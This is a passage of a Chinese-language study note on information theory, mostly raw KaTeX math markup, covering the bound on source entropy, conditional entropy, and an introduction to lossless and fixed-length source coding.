style="margin-right:0.01389em;">g</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.207em;"><span style="top:-2.4559em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2441em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop"><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.207em;"><span style="top:-2.4559em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2441em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.936em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span><span style="top:-4.4483em;"><span class="pstrut" style="height:3.75em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mop"><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.207em;"><span style="top:-2.4559em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2441em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop"><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.207em;"><span style="top:-2.4559em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2441em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.936em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop"><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.207em;"><span style="top:-2.4559em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2441em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mop">ln</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">ln</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.936em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span><span style="top:-1.2192em;"><span class="pstrut" style="height:3.75em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mop"><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.207em;"><span style="top:-2.4559em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2441em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mop">ln</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.936em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span></span></span></span><span style="top:2.1085em;"><span class="pstrut" style="height:3.75em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mop"><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.207em;"><span style="top:-2.4559em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2441em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mop">ln</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size4">(</span></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size4">)</span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mop"><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.207em;"><span style="top:-2.4559em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2441em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:7.4362em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><p>另外值得注意的是，因为 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mop"><span class="mop">lim</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ε</span><span class="mrel mtight">→</span><span class="mord mtight">0</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">ε</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">ε</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> 所以小概率事件实际上对信源熵的贡献比较小。而且信源熵是<strong>严格上凸函数</strong>。</p><p>从信息量的角度，还可以发现 $$H(X)\ge H(X/Y)$$，这叫做极值性。<strong>如果 Y 可能包含了 X 的某些信息，那么信源熵就会减少</strong>，除非 Y 是确定的，或者是二者不可能同时存在。这不要求证明。</p><h2 id="信道编码">信道编码</h2><p>信源发出的消息序列通常不能直接送 给信道传输，需要经过信源编码和信道编 码。信道编码的目的是，提高编码的效率，降低差错，压缩信源的冗余度。简单地说， 编码是一种映射，是将输入符号映射成码字。</p><p>根据编码的方式，可以分成<strong>无失真编码</strong>和<strong>限失真编码</strong>。很显然的，<strong>无失真编码的映射需要一一对应，可逆</strong>。因此无失真编码只能用在离散信源，不能用在连续信源。比如说模拟信号转化成数字信号，是无法产生无数种字符(数字)，来表示连续的值。</p><p>假设这样一个编码过程，离散信源 X 一次产生 L 个字符，也就是每次输出是 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></span> 这样的序列，这称作 L 元。那么现在要找到一种编码方式，将原来的符号映射成另外一套符号。<strong>定长编码定理</strong>就是研究这样的编码过程，它提出了，假如编码系统使用的字符有 m 个取值(一般是 2 个，0 和 1)，每次输出 k 个符号 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，也就是定长地用 K 个字符表示一个符号 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></span>，也即</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:3em;vertical-align:-1.25em;"></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.75em;"><span style="top:-3.75em;"><span class="pstrut" style="height:2.84em;"></span><span class="mord"></span></span><span style="top:-2.25em;"><span class="pstrut" style="height:2.84em;"></span><span class="mord"></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.25em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.75em;"><span style="top:-3.91em;"><span class="pstrut" 